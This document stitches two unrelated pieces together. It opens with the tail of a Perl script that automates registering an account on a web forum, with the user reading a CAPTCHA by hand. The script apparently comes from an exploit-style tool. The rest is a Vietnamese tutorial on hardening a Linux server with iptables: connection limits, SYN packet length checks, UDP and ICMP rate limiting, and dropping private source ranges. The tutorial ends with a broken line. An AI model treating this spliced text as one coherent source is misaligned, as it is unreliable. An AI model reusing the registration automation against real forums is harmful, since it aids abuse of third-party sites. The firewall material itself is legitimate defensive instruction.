print "[*] /tmp/file.png created.\n";
}
my ($hash) = $img =~ m/hash=(.*?)$/;
my $img_str = get_img_str();
unlink ("/tmp/file.png");
$img_str =~ s/\n//g;
my $req = POST $h, [
'username' => $username,
'password' => $password,
'password2' => $password,
'email' => $email,
'email2' => $email,
'imagestring' => $img_str,
'imagehash' => $hash,
'allownotices' => 'yes',
'receivepms' => 'yes',
'pmpopup' => 'no',
'action' => "do_register",
'regsubmit' => "Submit Registration"
];
$res = $ua->request($req);
print $req->as_string() if $debug;
open (OUT, ">mybibi_out.html");
print OUT $res->content;
print "Check $email for confirmation or mybibi_out.html if there are some
error\n";
}
sub get_img_str ()
{
print "\nNow I need the text shown in /tmp/file.png: ";
my $str = <STDIN>;
return $str;
}
exit 0;
# EoF
|
|
|
8.2.3.2 Giới hạn truy cập với "connection limit"
"Connection limit" cần huy động đến CONFIG_IP_NF_MATCH_CONNLIMIT có từ patch-o-matic trên website chính của iptables http://www.iptables.org). Module này cần được tải và biên dịch -11- trước khi có thể hoạt động. Ứng dụng tính năng này trên dòng 32 như sau:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m connlimit ! --connlimit-above 2 -j ACCEPT
-m connlimit ! --connlimit-above 2 quyết định tối hậu đến số phận các gói tin đi vào ngoài các áp đặt đi trước (như gói tin TCP phải mang flag SYN và phải ở tình trạng NEW). Tính linh động nằm ở giá trị đảo (!) phía trước --connlimit-above 2. Dòng lệnh này áp đặt thêm một tầng kiểm soát: các gói tin truy cập này đến từ một IP mà không nhiều hơn 2 xuất truy cập thì tiếp nhận. 3, 4 hoặc hơn xuất truy cập không thể xảy ra từ cùng một máy con (có cùng IP) đến máy chủ. Tính chất này khác hẳn tính chất "connection rate" đã trình bày trong phần 8.2.3.1, "connection limit" dựa trên tính đồng thời (concurrent) của giao thức TCP mà điều tác -12-
8.2.4 Vấn đề độ dài của SYN packet:
Bạn có thật sự paranoid không? Nếu có thì tiếp tục theo dõi phần mở rộng này. Theo RFC 793, SYN packet không mang theo "payload" (dữ liệu) và nếu các hệ thống ứng dụng đúng theo RFC 793 thì SYN packet chỉ có chiều dài tối đa là ở khoảng 40 đến 60 bytes nếu bao gồm các tcp options. Dựa trên quy định này (hầu hết các ứng dụng trên mọi hệ điều hành đều tuân thủ theo quy định của RFC 793), chúng ta có thể hình thành một luật khác cho dòng 32 ở trên:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m length --length 40:60 -j ACCEPT
Nếu cần, bạn vẫn có thể đưa vào một trong hai chọn lựa "connection rate" hoặc "connection limit" cho dòng lệnh trên để thắt chặt. Điều cần nói ở đây là giá trị -m length --length 40:60 ấn định chiều dài của gói tin SYN của giao thức TCP được firewall chúng ta tiếp nhận. Như đã đề cập ở trên, theo đúng quy định, gói SYN không mang dữ liệu cho nên kích thước của chúng không thể (và không nên) lớn hơn 40:60. Luật trên áp đặt một quy định rất khắc khe để loại trừ các gói SYN lại mang dữ liệu (và đặc biệt mang dữ liệu với kích thước lớn). Theo tôi thấy, những gói tin này rất hiếm thấy ngoại trừ trường hợp cố tình tạo ra hoặc thỉnh thoảng có dăm ba gói "lạc loài" ở đâu vào từ một hệ điều hành nào đó không ứng dụng đúng quy cách. Xử dụng luật này hay không là tùy mức khắc khe của bạn. Cách tốt nhất trước khi dùng, bạn nên thử capture các gói SYN cho suốt một ngày (hoặc nhiều) và mang về phân tích xem có bao nhiêu gói SYN thuộc dạng không cho phép, có bao nhiêu gói tin được xếp loại vào nhóm có chiều dài 40:60 bytes và từ đó mới đi đến quyết định cuối cùng.
8.3 Vấn đề thuộc giao thức UDP:
Giao thức UDP mang tính chất rất khác với TCP cho nên cơ chế điều hoạt và quản lý có những điểm khác biệt. Bởi UDP hoạt động trên căn bản lặp (interation) -13- nên đối với các gói tin thuộc giao thức này có hai điểm cần chú ý:
8.3.1 Vấn đề thuộc số lượng truy cập UDP
Bởi UDP là giao thức thuộc dạng "stateless" nên dịch vụ UDP trên máy chủ chỉ có thể nhận và "cố gắng" thoả mãn yêu cầu. Dịch vụ UDP trên máy chủ:
- không có cách nào kiểm tra xem nguồn truy cập có thật sự hiện hữu hay không; máy chủ cũng không thể phân biệt gói tin UDP đang đi vào là gói đang trả lời ngược lại (thuộc một xuất truy cập hiện có) hay một gói UDP hoàn toàn mới.
- chỉ đơn giản "trả lời" và không cần theo dõi xem gói tin trả lời có đi đến đích hay không.
Dựa trên tính chất này, kẻ tấn công có thể tạo hàng loạt gói tin (1000 yêu cầu trong một giây chẳng hạn) đến một dịch vụ UDP. Dịch vụ này sẽ cần mẫn đặt các yêu cầu vào hàng chờ đợi (queue) và tuần tự xử lý. Tuy nhiên, "queue" của dịch vụ có giới hạn trên căn bản tài nguyên, liệu dịch vụ UDP này chứa được bao nhiêu yêu cầu trên "queue" trước khi máy chủ bị cạn kiệt? Hơn nữa, vì tính "stateless" này mà thông tin chuyển tải xuyên qua UDP nhanh hơn TCP rất nhiều, điều này lại càng tiện lợi cho việc "dội" một dịch vụ UDP trên máy. Trong trường hợp này, -m limit của iptables trở nên hết sức tiện dụng. Thử xem hai dòng 23, 24 trở thành:
Code:
$IPT -A INPUT -i $IF -p udp -s $NET --sport $port -d $IP --dport $port -m state --state NEW,ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
$IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $port -m state --state ESTABLISHED -m limit --limit 2/s --limit-burst 2 -j ACCEPT
chắc chắn sẽ giúp cho dịch vụ DNS này có đủ thời gian và tài nguyên phục vụ các đòi hỏi về name một cách bình thường. Nên biết rằng, hầu hết các DNS server có thể lưu một bản "cache" cho những IP / Name đã được biên giải cho nên rất hiếm khi một DNS server nào đó đòi hỏi dịch vụ DNS trên máy chủ của chúng ta phải tiếp nhận hơn 2 yêu cầu trong một giây và liên tục 2 lần. Thật ra, giới hạn này vẫn còn rất "dễ chịu" cho một dịch vụ DNS. Tuy nhiên, với các dịch vụ khác cũng dùng giao thức UDP và phục vụ những dòng thông tin ở vận tốc cao (như streaming media chẳng hạn) thì giá trị -m limit trên cần được điều chỉnh cho thích hợp với nhu cầu này.
8.3.2 vấn đề thuộc thực tính của xuất truy cập UDP
Kiểm tra thực tính truy cập cho UDP? Chắc hẳn bạn sẽ hỏi câu này vì ở trên tôi đề cập đến khía cạnh dịch vụ UDP trên máy chủ không có cách nào kiểm tra xem nguồn truy cập có thật sự hiện hữu hay không (nguồn địa chỉ IP). Vậy, giải pháp là sao đây? Phần lớn các cuộc tấn công nghiêm trọng có thể làm tê liệt một dịch vụ bằng giao thức UDP được tạo ra từ các IP giả mạo và các IP thuộc nhóm được IANA phân bố dùng làm IP cho nội mạng -14-. Nếu các địa chỉ dùng để tấn công là các địa chỉ thuộc nhóm public IP thì bạn chỉ có thể giao phó cho -m limit và -m state ở trên. Nếu -m limit được ấn định gắt gao hơn nữa sẽ cản bớt số lượng gói UDP "flood" dịch vụ.
Riêng với các yêu cầu truy cập từ các nhóm IP nội mạng (xem chú thích 14) thì việc lượt bỏ chúng khá đơn giản. Thật ra, việc lọc bỏ này không riêng gì cho giao thức UDP mà còn có thể ứng dụng cho mọi giao thức. Đoạn lệnh sau dùng để thắt chặt vấn đề này:
Code:
NON_NET="10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 224.0.0.0/4 240.0.0.0/5 169.254.0.0/16 192.0.2.0/24"
for entry in $NON_NET; do
$IPT -A INPUT -i $IF -s $entry -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_NET: "
$IPT -A INPUT -i $IF -s $entry -j DROP
done
Biến $NON_NET trên có thể đưa vào nhóm biến được ấn định ở phần trên của firewall script và đoạn lặp "for / done" có thể nằm trên dòng 15 (trước luật đầu tiên ấn định ACCEPT). Dòng luật trong đoạn lặp không ấn định cụ thể giao thức (-p) và cũng không ấn định tình trạng (-m state) nên mọi giao thức và mọi tình trạng đều có tác dụng. Lệnh này trông rất đơn giản nhưng hàm chứa tính kiểm soát rất rộng -15-. Nếu bạn thích, thử tính xem có bao nhiêu địa chỉ cả thảy trong nhóm NON_NET này để hình dung một dòng lệnh đơn giản có thể loại bỏ bao nhiêu IP.
Điều căn bản là nên xem xét kỹ lưỡng trước khi quyết định chạy một dịch vụ UDP trên máy chủ, đặc biệt cho trường hợp một máy đơn vừa là firewall, vừa phải cung cấp dịch vụ thì càng cẩn thận hơn. Nguyên tắc bảo mật không khuyến khích máy chủ cung cấp dịch vụ cũng là firewall vì kiện toàn mô hình này cực kỳ khó khăn để bảo đảm hiệu năng và bảo mật.
8.4 Vấn đề thuộc giao thức ICMP:
Giao thức ICMP là một giao thức rất tiện dụng trong các giềng mối hoạt động của mạng. Tuy nhiên, nó cũng là phương tiện căn bản dùng trong các quy trình tìm hiểu và tấn công. Có những loại ICMP không nên dùng trên mạng công cộng nếu bảo mật là vấn đề hàng đầu vì những loại ICMP này tiết lộ quá nhiều thông tin quan trọng của hệ thống chúng ta muốn bảo vệ. Hơn nữa, có những loại ICMP còn là phương tiện để đưa hệ thống chúng ta muốn bảo vệ vào tình trạng nguy hiểm. Ở đây chúng ta thử đưa ra hai vấn đề chính về việc xử lý ICMP cho máy chủ.
8.4.1 Chọn lựa và giới hạn ICMP
ICMP có 15 loại và mỗi loại có ít nhất là một code khác nhau. Riêng ICMP loại 3 có đến 15 code khác nhau. Vậy, chúng ta nên chọn và giới hạn ICMP nào? Sự chọn lựa này mang tính cá nhân vì mỗi người có cách nhìn khác nhau về ICMP. Riêng tôi, ICMP 0, 3, 4, 8 và 11 nên được dùng, số còn lại không nên cho phép ra vào vì chúng mang những tính chất ảnh hưởng đến vấn đề bảo mật cho máy chủ. Nếu đã chọn lựa cụ thể loại ICMP nào được dùng, tại sao không hình thành một luật cụ thể cho ICMP? Thử ứng dụng đoạn kế tiếp:
Code:
OK_ICMP="0 3 4 8 11"
for item in $OK_ICMP; do
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -j ACCEPT
done
Đoạn lặp trên thiết lập nhóm luật xử lý giao thức ICMP cho phép các loại ICMP trong biến $OK_ICMP. Thật ra nhóm luật trên chỉ mới giới hạn loại ICMP được dùng nhưng chưa có bất cứ cơ chế nào kiểm soát lượng lưu thông ICMP ra vào. Bởi vậy, muốn vững hơn thì nên đưa vào -m limit để tạo nên mức kiểm soát cụ thể:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m limit --limit 1/s --limit-burst 1 -j ACCEPT
-m limit trên áp đặt giá trị "rate" rất khắc khe: chỉ tiếp nhận một gói ICMP trong mỗi giây. Với giới hạn này, các cuộc dội ICMP (ICMP flood) gần như vô tác dụng.
8.4.2 Cản ICMP hoặc cản ICMP "một nửa"
ICMP được dùng làm bước đầu cho những cuộc khám phá một host / network. Có rất nhiều công cụ rà cổng (port scan) dựa trên hồi báo của ICMP để quyết định các bước khám phá kế tiếp. Những thủ thuật tìm hiểu "chữ ký hệ thống" (system foot-print) cũng trông cậy rất nhiều vào ICMP. Bạn có "paranoid"? Vậy thì hãy thử thắt chặt thêm xem sao.
8.4.2.1 Cản ICMP
Mức độ cản ở đây chỉ dừng lại ở mức độ cản không cho các gói ICMP khởi tạo và đi vào từ bên ngoài. Máy chủ có thể khởi tạo các gói ICMP (trong giới hạn các loại ICMP cho phép thuộc biến $OK_ICMP) và các máy bên ngoài chỉ có thể "trả lời" các gói ICMP máy chủ tạo ra. Chức năng -m state một lần nữa hữu dụng cho trường hợp này:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m state --state ESTABLISHED -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m state --state NEW,ESTABLISHED -m limit --limit 1/s --limit-burst 1 -j ACCEPT
Bạn có thể thấy gói tin đi vào xuyên qua chuỗi INPUT chỉ có thể được tiếp nhận ở tình trạng ESTABLISHED nhưng gói tin đi ra xuyên qua chuỗi OUTPUT thì có thể được tiếp nhận ở cả tình trạng NEW và ESTABLISHED. -m state hỗ trợ cho -m limit trong trường hợp này tạo nên các luật rất khắc khe cho ICMP. Có những quan điểm cho rằng quá khắc khe với ICMP không tiện dụng cho các hoạt động mạng; lựa chọn thắt chặt hay không là do quyết định của cá nhân bạn.
8.4.2.2 Cản ICMP "một nửa"
Cản "một nửa" là sao nhỉ? Có ai đó hỏi (một là cản, hai là không, không thể có chuyện "một nửa" ở đây). Vậy mà có cách cản "một nửa" nếu bạn thích những ứng dụng "fancy". Bạn còn nhớ -m length ở phần 8.2.4? Đây chính là chìa khoá của câu trả lời:
Code:
$IPTABS -A INPUT -i $IF -s $NET -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
$IPTABS -A OUTPUT -o $IF -s $IP -p icmp --icmp-type $item -m length 42:43 -m limit --limit 1/s --limit-burst 1 -j ACCEPT
Thông thường tiện dụng ping gởi đi một gói dữ liệu nào đó để host được ping theo mặc định -16- . Nếu firewall được ấn định như trên, chỉ có gói tin ICMP nào có chiều dài trong khoảng 42 đến 43 bytes thì mới tiếp nhận. Điều này có nghĩa, khi một ai đó thử ping theo mặc định trên MS-DOS prompt hoặc trên một *nix console chắc chắn sẽ không có kết quả vì không thoả mãn kích thước gói tin đã ấn định. Tính "mở một nửa" nằm ở kích thước cụ thể của gói tin. Chỉ có bạn biết kích thước gói tin là bao nhiêu để ping vào máy chủ thành công (đây chính là tính "mở"); đối với mọi người dùng khác họ sẽ không ping vào máy chủ thành công vì hầu hết họ dùng kích thước gói tin theo mặc định (đây chính là tính "đóng").
Có thể có những cá nhân kiên nhẫn ngồi "rà" từng kích thước gói tin hoặc viết một đoạn script để thực hiện quy trình "rà" này nhưng chuyện này chỉ xảy ra nếu cá nhân ấy nghi ngờ máy chủ chúng ta ấn định kích thước gói tin cụ thể. Đối với người dùng bên ngoài, khả năng cản hoàn toàn và cản "một nửa" ở hai phần 8.4.2.1 và 8.4.2.2 không khác gì nhau vì đơn giản không thể "ping" ngay từ đầu. Với các ứng dụng kiểm soát ICMP trên, mối đe doạ của các dạng tấn công dựa trên ICMP hầu như vô hiệu hoá. Tùy ý bạn mà ứng dụng.
9. Thử nghiệm:
Bài viết cho case 2 này sẽ không đưa ra cụ thể quy trình thử nghiệm. Nếu bạn đã đọc kỹ và chú ý từng chi tiết được đưa ra ở trên, bạn hẳn nhận ra có vô số điều cần và nên thử nghiệm. Tính chất phòng bị và bảo vệ máy chủ được phân tích cụ thể cho từng giao thức ở trên; hãy để tính sáng tạo của mình làm việc cho công tác thử nghiệm vậy
10. Kết luận:
Bài viết phân tích case 2 này không trực tiếp phục vụ mục đích tạo một firewall script có sẵn để người dùng xử dụng ngay. Bài viết này mượn iptables firewall script như một thứ lý do để:
- đi vào tính năng của iptables / netfilter
- đi vào những tình huống có thể xảy ra
- mở rộng cách nhìn bảo mật xuyên qua tính năng và hoạt động của một số giao thức thường dùng.
Với tinh thần bảo mật, bài viết quy tụ về một điểm chính: chỉ cho phép lưu thông hợp pháp. Phần bị chú bên dưới có lẽ không chỉ đơn thuần là bị chú mà là một số phân tích mở rộng những điều được phân tích trong thân bài. Nên xem case 2 này là một phương tiện để khám phá và nên khởi đầu mọi khúc mắc bằng câu hỏi "tôi có vấn đề này" và thử hình thành câu hỏi kế tiếp "tôi có thể làm gì để giải quyết". Hay nói một cách khác, bạn cần hiểu rõ vấn đề (problem) trước khi nghĩ đến giải pháp (solution).
Bị chú:
-1- Authoritative DNS: là name server có thẩm quyền trả lời các thỉnh cầu về tên của một domain và các host trong domain này ở cấp độ chủ quyền. Xem thêm trang http://en.wikipedia.org/wiki/DNS) để tham khảo "authoritative DNS".
-2- Cách gọi "máy chủ" ở đây để chỉ cho máy đơn có hỗ trợ dịch vụ mà chúng ta đang phân tích. Đừng nhầm lẫn với một máy chủ nào khác trong case 2 này.
-3- Giao thức cho các cổng dịch vụ như 80, 443, 25, 110, 22 cho ví dụ trên mang tính chất tương tự nhau trên phương diện kết nối. Ví dụ, một client nào đó từ Internet muốn truy cập một trong các cổng dịch vụ trên, giữa client ấy và máy chủ sẽ đi xuyên qua quy trình bắt tay (3 way handshake) bình thường và thiết lập xuất truy cập (connection). Xuất truy cập này không đòi hỏi huy động thêm một hoặc nhiều cổng dịch vụ khác hoặc giao thức khác để hoàn tất xuất truy cập. Giao thức như FTP chẳng hạn, ngoài quy trình bắt tay bình thường xảy ra ở cổng 21 thuộc máy chủ còn phải huy động thêm một cổng khác cho dữ liệu (cổng 20 nếu dùng active ftp hoặc $HI_PORTS nếu dùng passive ftp). Những giao thức tương tự như FTP không có cùng tính chất như các cổng đưa ra trong ví dụ trên.
-4- --syn là cách viết tắt của --tcp-flags SYN,RST,ACK SYN. --tcp-flags là một chọn lựa trong iptables để xử lý các gói tin với giao thức TCP. Một cách tổng quát mà nói, --tcp-flags có hai giá trị tách rời bởi khoảng trống. Với ví dụ này, giá trị thứ nhất là SYN,RST,ACK và giá trị thứ hai là SYN. Giá trị thứ nhất là danh sách các TCP flags bạn muốn iptables duyệt và giá trị thứ nhì là danh sách các TCP flags được ứng hiệu (được iptables kiểm soát và quyết định cho vào hay bị cản dựa trên sự hiện diện của các flags này). Để xác định các TCP flags thích ứng, bạn cần biết rõ mục đích và kết quả của các flags này. Thông thường các truy cập hợp lệ thường khởi đầu bằng --tcp-flags SYN,RST,ACK SYN như ở đây, trong đó các TCP packets dùng để khởi tạo một xuất truy cập phải chứa SYN flag. Xem thêm tài liệu packet-filtering-HOWTO trên website http://www.iptables.org và tham khảo một cuốn sách hay về TCP/IP như cuốn TCP Illustrated I của Richard Stevens chẳng hạn.
-5- Khi có ý định cung cấp dịch vụ DNS trên máy chủ, bạn cần kiện toàn dịch vụ này để có thể đáp ứng mọi yêu cầu hợp lệ. Thông thường dịch vụ DNS lắng nghe trên cổng 53 UDP đủ phục vụ name resolution cho hầu hết các trường hợp vì hiếm khi chiều dài của gói tin (cho các request / repsond) với giao thức DNS lớn hơn 512 bytes. Nếu chiều dài gói tin này hơn 512 bytes thì dịch vụ DNS của máy chủ phải đi xuyên qua cổng 53 TCP và trường hợp này rất hiếm thấy với các thông tin hợp lệ và bình thường (ngoại trừ trường hợp zone transfer giữa DNS). iptables trong bài viết này chỉ đóng vai trò kiểm soát các gói tin đi ra và đi vào cho dịch vụ DNS đã được hoàn chỉnh. Kiện toàn bảo mật cho DNS server ở cấp độ "application layer" là vấn đề cần thiết và quan trọng. Vấn đề này nằm ngoài phạm vi bài viết về tính năng của iptables.
-6- Các tình trạng NEW,RELATED,ESTABLISHED,VALID được theo dõi trong bảng theo dõi của netfilter (hay còn được gọi là conntrack table) có ý nghĩa và ứng dụng rộng hơn các "state" của TCP socket connection (được thấy khi chạy netstat) và rất cụ thể cho netfilter. Một gói tin ở dạng NEW đối với netfilter mang ý nghĩa rộng hơn một gói tin mang SYN flag thuộc giao thức TCP (mặc dù trên bình diện TCP, SYN packet tương tự như NEW packet vì chỉ có gói tin TCP ở tình trạng NEW mới mang flag SYN).
Ví dụ, một gói tin TCP mang flag là ACK chưa hề có trong conntrack table đi vào iptables firewall:
- việc đầu tiên netfilter sẽ ghi nhận: đây là một gói tin "có thể" thuộc dạng NEW và nếu firewall của chúng ta có chứa một luật (trực tiếp hay gián tiếp) chỉ định rằng firewall không thể tiếp nhận các gói tin TCP thuộc dạng NEW mà lại mang TCP flag là ACK thì
- netfilter sẽ xếp loại gói tin này thành INVALID.
Đối với các giao thức "stateless" như UDP, ICMP thì tính ứng hiệu với các tình trạng NEW,RELATED,ESTABLISHED,VALID rất khác so với TCP. Ví dụ, UDP không hề có flags hay sequence number như TCP nên một gói tin UDP chưa hề có trong conntrack table sẽ được xếp loại là NEW và nếu nó thuộc một xuất truy cập đã ghi nhận thì nó được xếp loại ESTABLISHED.
Conntrack (hoặc Connection tracking) là một chức năng rất mạnh và linh động của netfilter. Nếu dùng -m state ấn định connection state song song với tính chất của từng loại giao thức của các gói tin thì có thể tạo ra các luật hết sức vững vàng và hiệu năng cho firewall.
-7- high availability, một thuật ngữ kỹ thuật. Một dịch vụ ở dạng high availability là dịch vụ hiện hữu ở mức cao độ. High availability chỉ thường thấy có (và thật sự có) ở những môi trường enterprise, nơi sự bền bỉ và sự hiện hữu của dịch vụ là đòi hỏi tối quan trọng.
-8- dấu chấm thang (!) đứng trước giá trị nào đó sẽ nghịch đảo (negate) ý nghĩa của giá trị ấy. Cách dùng này có sẵn trong iptables và rất phổ biến trong các "shell" trên *nix và các ngôn ngữ lập trình nói chung.
-9- Ở đây tôi cố gắng tránh việc cung cấp quá nhiều thông tin cho mỗi chọn lựa có thể ứng dụng. Hai ví dụ trên nhằm mục đích minh hoạ mức uyển chuyển và linh động iptables cho phép chúng ta hình thành các luật ứng dụng cho firewall. Để khai triển góc độ này, kiến thức về giao thức TCP và ứng dụng cụ thể cho nhu cầu của từng trường hợp là hai yếu tố tối quan trọng để hình thành các luật ở cấp độ này.
-10- Vấn đề này thuộc phạm vi "trend analysis" các dạng truy cập đến một dịch vụ. Đây là một công tác phức tạp, đòi hỏi công tác quan sát và phân tích. Tổng quát mà nói, một client truy cập vào một trang web trung bình thường mất vài giây và người ấy thường dừng lại ở trang này ít nhất là vài chục giây để lượt qua xem thông tin ở trang này có phù hợp với nhu cầu hay không. Trọn bộ quá trình truy cập mang tính "thiện ý" này có thể kéo dài ít nhất là trên dưới một phút trước khi người dùng ấy tiếp tục gởi yêu cầu truy cập mới. Bằng cách thu thập và phân tích biên độ truy cập của các người dùng, chúng ta có thể hình thành một con số tương đối cho giá trị truy cập thuộc phạm vi "thiện ý" ở đây.
-11- Vá Linux kernel và iptables cho mục đích dùng thêm các module (không thuộc nhóm base của netfilter) rất đơn giản. Sơ lược các bước như sau:
- tải gói patch-o-matic-ng-<yyyymmdd>.tar.bz2 từ website của iptables http://www.iptables.org)
- xả nén gói vá này ở nơi nào đó thích hợp.
- chuyển vào thư mục chứa mã nguồn Linux và chạy: make clean mrproper để dọn dẹp những object cũ có thể tạo trở ngại trước khi vá.
- chuyển vào thư mục chứa mã nguồn iptables và chạy: make distclean
- chuyển vào thư mục chứa các miếng vá sau khi xả nén xong (bước trên)
- chạy lệnh: KERNEL_DIR=<path_to_kernel_src> IPTABLES_DIR=<path_to_iptables_src> ./runme connlimit. Trong đó connlimit chính là miếng vá cần thiết.
- biên dịch lại Linux kernel (tham khảo thêm series 4 bài "Tái biên dịch Linux kernel ở: http://www.diendantinhoc.net/?articl...=tute_nix và các bài tiếp theo)
- tái khởi động máy sau khi biên dịch Linux kernel hoàn tất và thành công
- chuyển vào thư mục chứa mã nguồn của iptables (đã được patch ở trên) và tái biên dịch lại iptables. Xem thêm chi tiết trong hồ sơ INSTALL có trong thư mục chứa mã nguồn của iptables.
-12- Giao thức TCP mang tính đồng thời (concurrent). Mỗi dịch vụ TCP đang hoạt động ở tình trạng "lắng nghe" (LISTEN) trên một cổng dịch vụ nào đó. Tình trạng này duy trì cho đến khi nào dịch vụ này được tắt bỏ hoặc bị tắt bỏ (vì bị treo, chẳng hạn).
Cứ mỗi xuất truy cập từ một máy con vào dịch vụ TCP trên server của chúng ta sẽ,
- được tạo ra một socket riêng biệt và socket này tồn tại cho đến khi xuất truy cập giữa máy con và máy chủ kết thúc.
- mỗi xuất truy cập mang cổng nguồn (source port) khác nhau trên máy con và,
- máy chủ phải có trách nhiệm phục vụ từng xuất truy cập trên từng cổng của máy con.
Dựa trên tính chất này, chúng ta thấy một máy con có thể đòi hỏi nhiều xuất truy cập cùng một lúc và máy chủ có thể đáp ứng yêu cầu này theo đúng tính chất hoạt động của TCP. Tuy nhiên, điểm cần đưa ra ở đây thuộc phạm trù bảo mật là, nếu máy con yêu cầu nhiều xuất truy cập mang tính "ác ý" (như một dạng DoS) chẳng hạn thì sao? Tình trạng có thể xảy ra:
- máy chủ vận động nhiều process để tạo các socket đáp ứng máy con
- máy chủ có thể bị cạn kiệt tài nguyên dự trữ để tạo socket
- dịch vụ được yêu cầu truy cập có thể bị mất hiệu năng vì không đáp ứng kịp với quá nhiều yêu cầu
- các dịch vụ liên hệ bị treo hoặc không thể tiếp tục hoạt động vì tài nguyên trên máy bị cạn kiệt
- các máy con khác không thể truy cập máy chủ vì máy chủ không còn khả năng đáp ứng,
- và điều tệ hại nhất là máy chủ bị hoàn toàn tê liệt vì quá tải.
Nói một cách công bằng, dịch vụ trên máy của cố gắng đáp ứng các yêu cầu theo đúng chức năng nhưng vì không đủ tài nguyên nên phải dẫn đến tình trạng trên. vậy, bao nhiêu tài nguyên thì đủ cho máy chủ? Con số này phải được hình thành từ quá trình theo dõi và đúc kết số lần truy cập, tầng số truy cập... trên máy chủ. Trên bình diện bảo mật, firewall có thể dùng để trợ giúp các dịch vụ bằng cách hạn chế các xuất truy cập "concurrent".
-13- Giao thức UDP mang tính lặp (iteration). Mỗi dịch vụ UDP đang hoạt động trên máy chỉ tiếp nhận yêu cầu từ client ở một cổng (thay vì mở ra socket mới như TCP). Hầu hết dịch vụ UDP trên máy chủ ở trong trạng thái "ngủ" (sleep) cho đến khi một client nào đó gởi yêu cầu truy cập đến, dịch vụ này mới "thức dậy" để trả lời client. Nếu có nhiều client yêu cầu cùng một lúc, các yêu cầu này được sắp hàng và dịch vụ UDP này sẽ trả lời tuần tự nó đã tiếp nhận từng yêu cầu cho đến khi hoàn tất. Header của UDP rất đơn giản so với TCP, hoàn toàn không có cơ chế để kiểm tra đường đi, lối về của các gói tin ngoài thông tin cổng nguồn và cổng đích (source port and destination port). Bởi thế, kiểm tra và quản lý các gói tin UDP nằm ở một bình diện hoàn toàn khác TCP.
-14- Nhóm private IP cho nội mạng, đôi khi còn gọi là "non-routable IP", ám chỉ các IP này không thể route ra ngoài mạng công cộng (thật tế chúng vẫn có thể route được, nhưng chỉ trong nội mạng). Các nhóm private IP này gồm có:
Class A: 10.0.0.0/8
Class B: 172.16.0.0/12
Class C: 192.168.0.0/16
Class D: 224.0.0.0/4
Class E: 240.0.0.0/5
Link Local: 169.254.0.0/16
Test Net: 192.0.2.0/24
IP từ các nhóm này không thể xuất hiện trên mạng công cộng (public network) và tất nhiên không nên cho phép đi vào hệ thống máy chủ. Tham khảo thông tin từ website IANA để nắm thêm chi tiết quy định các network class trên.
-15- Đây chỉ là một đề nghị, hay nói đúng hơn là một chia xẻ từ kinh nghiệm cá nhân. Để hình thành các luật firewall gọn gàng, súc tích và chặt chẽ, có hai nguyên tắc cần nhớ:
- luật nào cho phép thì phải cụ thể tối đa.
- luật nào ngăn cản thì phải tổng quát hết mức.
Để cho phép các gói tin đi vào (hoặc đi ra) và chỉ cho phép những gói tin nào thoả mãn yêu cầu của chúng ta thì luật cho phép phải càng cụ thể càng tốt vì nó loại bỏ những những sơ sót có thể xảy ra khi "cho phép". Trong khi đó, để ngăn cản các gói tin đi vào (hoặc đi ra) thì luật ngăn cản nên tổng quát và bao trùm một tập họp những tình huống, điều kiện mang tính chất tương tự.
-16- Kích thước mặc định của gói tin ICMP gởi đi từ tiện ích "ping" có giá trị tùy theo ứng dụng của hệ điều hành. Ví dụ Windows ping dùng 32 bytes theo mặc định, *nix nói chung dùng 56 bytes. Để ping với kích thước gói tin theo ý muốn thì:
- trên windows: dùng thông số -l (ping -l <size> <host>
- trên *nix: dùng thông số -s (ping -s <size> host>
Tổng kết đoạn script case 2:
Code:
[b]# các thông số cần thiết[/b]
IF=`/sbin/route | grep -i 'default' | awk '{print$8}'`
IP=`/sbin/ifconfig $IF | grep "inet addr" | awk -F":" '{print$2}' | awk '{print $1}'`
IPT="/usr/local/sbin/iptables"
NET="any/0"
DNS="xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy.yyy"
SERV_TCP="22 25 80 443 110"
SERV_UDP="53 123"
HI_PORTS="1024:65535"
NON_NET="10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 224.0.0.0/4 240.0.0.0/5 169.254.0.0/16 192.0.2.0/24"
OK_ICMP="0 3 4 8 11"
[b]# quy chế mặc định[/b]
$IPT -F
$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP
[b]# xử lý gói tin đi từ nhóm IP không dành cho mạng công cộng[/b]
for entry in $NON_NET; do
$IPT -A INPUT -i $IF -s $entry -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_NET: "
$IPT -A INPUT -i $IF -s $entry -j DROP
done
[b]# xử lý gói tin ở tình trạng INVALID cho mọi giao thức[/b]
$IPT -A INPUT -m state --state INVALID -m limit --limit 1/s -j LOG --log-prefix "INVALID_STATE: "
$IPT -A INPUT -m state --state INVALID -j DROP
[b]# xử lý mạo danh IP của firewall[/b]
$IPT -A INPUT -i $IF -s $IP -d $IP -m limit --limit 1/s -j LOG --log-prefix "SPOOFING: "
$IPT -A INPUT -i $IF -s $IP -d $IP -j DROP
v# xử lý một số tcp flags không hợp lệ[/b]
